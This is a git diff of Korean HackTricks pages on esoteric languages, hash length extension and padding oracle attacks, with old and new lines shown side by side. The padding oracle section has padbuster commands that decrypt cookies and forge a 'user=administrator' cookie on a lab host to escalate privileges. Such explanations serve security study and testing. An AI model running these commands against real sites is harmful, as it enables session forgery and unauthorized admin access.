GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
</details> </details>
{% endhint %}
## [이상한 언어 위키](https://esolangs.org/wiki/Main\_Page) ## [Esolangs 위키](https://esolangs.org/wiki/Main\_Page)
더 많은 이상한 언어를 검색하려면 해당 위키를 확인하세요 더 많은 에소테릭 언어를 검색하려면 해당 위키를 확인하세요.
## Malbolge ## 말볼지
``` ```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#" ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@> `CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %} {% embed url="https://codewithrockstar.com/" %}
## PETOOH ## PETOOH
PETOOH는 러시아의 프로그래밍 언어로, 두 가지 명령어와 무한한 메모리 테이프를 사용합니다. 이 언어는 러시아어 단어를 사용하여 코드를 작성하며, 코드의 실행은 인터프리터에 의해 이루어집니다.
``` ```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **다음에 가입하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 혹은 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하세요** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출함으로써.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 해시 길이 확장 공격 # 해시 길이 확장 공격
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -30,28 +31,28 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로
## 공격 요약 ## 공격 요약
일부 **알려진 평문 데이터에 비밀을 추가**하고 해당 데이터를 해싱하는 서버를 상상해보십시오. 다음을 알고 있다면: 서버가 **데이터**에 **비밀**을 추가하여 **서명**하고 그 데이터를 해시한다고 상상해 보십시오. 다음을 알고 있다면:
* **비밀의 길이** (주어진 길이 범위에서도 브루트포스 가능) * **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음)
* **평문 데이터** * **명확한 텍스트 데이터**
* **알고리즘 (이 공격에 취약)** * **알고리즘 (이 공격에 취약)**
* **패딩이 알려져 있** * **패딩이 알려져 있**
* 일반적으로 기본값이 사용되므로, 다른 3가지 요구 사항이 충족되면 이것도 사용 * 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당
* 패딩은 비밀+데이터의 길이에 따라 달라지므로, 비밀의 길이가 필요함 * 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명을 생성**할 수 있습니다. 렇다면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
### 어떻게? ### 어떻게?
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**하고, 그런 다음 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해**합니다. 기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해**합니다.
그런 다음, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "비밀데이터"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\ 그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
공격자가 문자열 "append"를 추가하려면: 공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
* 64개의 "A"의 MD5를 생성 * 64개의 "A"로 MD5 생성
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경 * 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
* 문자열 "append"를 추가 * "append" 문자열 추가
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "append"**에 대한 유효한 것이 될 것입니다 * 해시를 완료하면 결과 해시는 "secret" + "data" + "padding" + "append"에 대한 **유효한 해시**가 됩니다.
### **도구** ### **도구**
@ -59,30 +60,31 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로
### 참고자료 ### 참고자료
이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) 이 공격에 대한 자세한 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 확인할 수 있습니다.
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 패딩 오라클 # Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고**되길 원하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
CBC 모드에서는 **이전에 암호화된 블록이 IV로 사용**되어 다음 블록과 XOR됩니다: In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
CBC를 복호화하려면 **반대로** **작업**을 수행합니다: To decrypt CBC the **opposite** **operations** are done:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
**암호화 키**와 **IV**를 사용해야 함에 주목하세요. Notice how it's needed to use an **encryption** **key** and an **IV**.
## 메시지 패딩 ## Message Padding
암호화가 **고정된 크기의 블록**에서 수행되므로 **패딩**이 **마지막 블록**에서 길이를 완성하는 데 필요합니다.\ As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
일반적으로 **PKCS7**이 사용되며, 이는 블록을 완성하는 데 필요한 **바이트 수를 반복**하는 패딩을 생성합니다. 예를 들어, 마지막 블록이 3바이트 부족한 경우 패딩은 `\x03\x03\x03`이 됩니다. Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
**8바이트 길이의 2개 블록**에 대한 더 많은 예제를 살펴봅시다: Let's look at more examples with a **2 blocks of length 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,43 +41,43 @@ CBC를 복호화하려면 **반대로** **작업**을 수행합니다:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
마지막 예제에서 **마지막 블록이 가득 찼으므로 패딩만 있는 다른 블록이 생성**된 것을 주목하세요. Note how in the last example the **last block was full so another one was generated only with padding**.
## 패딩 오라클 ## Padding Oracle
응용 프로그램이 암호화된 데이터를 복호화하면 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩을 정리하는 동안 **잘못된 패딩이 감지 가능한 동작을 유발**하면 **패딩 오라클 취약점**이 있습니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **응답이 느림**일 수 있습니다. When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **임의의 평문을 암호화**할 수 있습니다. If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
### 악용 방법 ### How to exploit
이 유형의 취약점을 악용하려면 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용하거나 단순히 수행할 수 있습니다. You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
사이트의 쿠키가 취약한지 테스트하려면 다음을 시도할 수 있습니다: 사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다(그러나 다른 것들도 사용할 수 있습니다, 도움 메뉴를 확인하세요). **Encoding 0**는 **base64**가 사용된다는 것을 의미합니다 (하지만 다른 것도 사용 가능하니 도움말 메뉴를 확인하세요).
또한 이 취약점을 악용하여 새 데이터를 암호화할 수 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"인 경우, 이를 "\_user=administrator\_"로 변경하여 응용 프로그램 내에서 권한을 상승시킬 수 있습니다. 또한 `-plaintext` 매개변수를 지정하여 `paduster`를 사용하여 이를 수행할 수도 있습니다: 이 취약점을 **악용하여 새로운 데이터를 암호화할 수 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"이라고 가정하면, 이를 "\_user=administrator\_"로 변경하여 애플리케이션 내에서 권한을 상승시킬 수 있습니다. `paduster`를 사용하여 -plaintext** 매개변수를 지정하여 이를 수행할 수도 있습니다:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
만약 사이트가 취약하다면 `padbuster`는 자동으로 패딩 오류가 발생할 때를 찾으려고 시도할 것이지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다. 사이트가 취약한 경우 `padbuster`는 패딩 오류가 발생할 때를 자동으로 찾으려고 시도하지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
### 이론 ### 이론
**요약**하면, 모든 **다른 패딩**을 만들 수 있는 올바른 값을 추측하여 암호화된 데이터의 복호화를 시작할 수 있습니다. 그런 다음, 패딩 오라클 공격은 **1, 2, 3 등의 패딩을 만드는 올바른 값**을 추측하여 끝에서 시작하여 바이트를 복호화하기 시작합니다. **요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 올바른 값이 **1, 2, 3 등의 패딩을 생성하는지** 추측하면서 끝에서 시작으로 바이트를 복호화하기 시작합니다.
![](<../.gitbook/assets/image (561).png>) ![](<../.gitbook/assets/image (561).png>)
**E0에서 E15**까지의 바이트로 구성된 **2개 블록**을 차지하는 암호화된 텍스트가 있다고 상상해보세요.\ 암호화된 텍스트가 **E0에서 E15**까지의 바이트로 형성된 **2 블록**을 차지한다고 가정해 보겠습니다.\
**마지막 블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 통해 **중간 바이트 I0에서 I15**를 생성합니다.\ **마지막** **블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 거쳐 **중간 바이트 I0에서 I15**를 생성합니다.\
마지막으로, 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 그래서: 마지막으로 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,41 +85,42 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
이제, `C15``0x01`이 될 때까지 `E7`을 수정하**`E'7`를 찾을 수 있습니다**. 이는 올바른 패딩이 될 것입니다. 따라서, 이 경우에는: `\x01 = I15 ^ E'7` 이제 **`C15``0x01`이 될 때까지 `E7`을 수정하는 것이 가능**합니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7`
그래서, `E'7`을 찾으면 **`I15`를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7` 따라서 E'7을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
를 통해 **`C15`를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` 로 인해 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**를 알게 되면, 이제 **`C14`를 계산할 수 있습니다**. 이번에는 패딩 `\x02\x02`를 브루트 포싱하여 계산합니다. **C15**를 알면 이제 **C14를 계산할 수 있습니다**, 하지만 이번에는 패딩 `\x02\x02`를 브루트 포스해야 합니다.
이 BF는 이전 것과 같이 복잡합니다. `E''15`의 값이 0x02인 `E''7 = \x02 ^ I15`를 계산할 수 있으므로 **`C14``0x02`와 같은 `E'14`를 찾는 것만 필요**합니다.\ 이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14``0x02`가 되도록 생성하는 `E'14`**를 찾기만 하면 됩니다.\
그런 다음, **`C14`를 복호화하기 위해 동일한 단계를 수행합니다**: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**전체 암호화된 텍스트를 복호화할 때까지 이 체인을 따릅니다.** **이 체인을 따라 전체 암호화된 텍스트를 복호화할 때까지 진행하십시오.**
### 취약점 탐지 ### 취약점 탐지
계정을 등록하고 이 계정으로 로그인합니다.\ 계정을 등록하고 이 계정으로 로그인하십시오.\
**여러 번 로그인**하고 항상 **동일한 쿠키**를 받으면 응용 프로그램에 **문제가 있을 수 있습니다**. 로그인할 때마다 **반드시 고유한 쿠키**가 반환되어야 합니다. 쿠키가 **항상** **동일하면**, 아마도 항상 유효하고 **무효화할 수 없을 것입니다**. **여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성**이 높습니다. **로그인할 때마다 반환되는 쿠키는 고유해야** 합니다. 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다**.
